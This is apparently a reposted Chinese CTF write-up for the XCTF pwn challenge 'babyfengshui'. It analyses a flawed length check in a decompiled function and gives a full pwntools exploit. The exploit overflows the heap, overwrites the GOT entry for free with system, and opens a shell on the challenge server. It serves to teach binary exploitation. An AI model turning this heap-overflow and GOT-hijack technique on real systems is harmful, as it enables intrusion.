IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> [XCTF-pwn] 27_babyfengshui -> 正文阅读

[C++知识库][XCTF-pwn] 27_babyfengshui

输入长度判断错误。可写溢出。

数据结构:

????????管理块0x80: char *data_ptr; name[0x7c]

?????????先写数据块再写管理块

unsigned int __cdecl read_text(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h] BYREF
  int v3; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)byte_804B069 && *(&ptr + a1) )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )// 长度越界判断,可写溢出
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    get_data(*(char **)*(&ptr + a1), v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}                                               // 20T1,80M1,20T2,80M2
                                                // F20,F80,20T2,80M2
                                                // F20,80T3,20T2,80M2,80M3
                                                // 20T4,80T3,20T2,80M2,80M3,80M4

输入长度判断,要求输入止地址小于管理块指针地址-4。当数据块和管理块间有其它块时,将可进行覆盖。

解题思路:

  1. ?建两个小块8字节
  2. 释放0块这里会得到1个8字节的fastbin,和一个0x80的unsort
  3. 再建0x80的块,数据块会使用刚释放的0x80的unsort,管理块在块1后新建。再建8字节块,这个块的数据块与管理块间的块1可被覆盖
  4. 编辑3块(上步新建的)覆盖1块的指针为got.free然后show1得到libc
  5. 再编辑1块(data指针指向got.free)修改free为system
  6. 释放带/bin/sh的块

完整exp:

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
    one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
    offset_main_ret = 0x18647
else:
    p = remote('111.200.241.244', 54260) 
    libc_elf = ELF('/home/shi/buuctf/libc6-i386_2.23-0ubuntu10_amd64.so')
    one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
    offset_main_ret = 0x18637

elf = ELF('./pwn')
context(arch='i386', log_level='debug')

menu = b"Action: "
def add(size, name, text):
    p.sendlineafter(menu, b'0')
    p.sendlineafter(b"size of description: ", str(size).encode())
    p.sendlineafter(b"name: ", name)
    p.sendlineafter(b"text length: ", str(len(text)).encode())
    p.sendafter(b"text: ", text)

def free(idx):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx, text):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"text length: ", str(len(text)).encode())
    p.sendafter(b"text: ", text)

add(8, b'0', b'A')
add(8, b'1', b'A')
free(0)
add(0x80, b'2', b'A')
add(8, b'3', b'A')
edit(3, b'/bin/sh\x00'.ljust(0xa4, b'A')+p32(0x89)+p32(elf.got['free']))
show(1)
p.recvuntil(b'tion: ')
libc_base = u32(p.recv(4)) - libc_elf.sym['free']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

edit(1, p32(libc_elf.sym['system']))
free(3)

p.sendline(b'cat /flag')
p.interactive()   

  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2022-03-10 22:13:22  更:2022-03-10 22:13:26 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 5:33:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码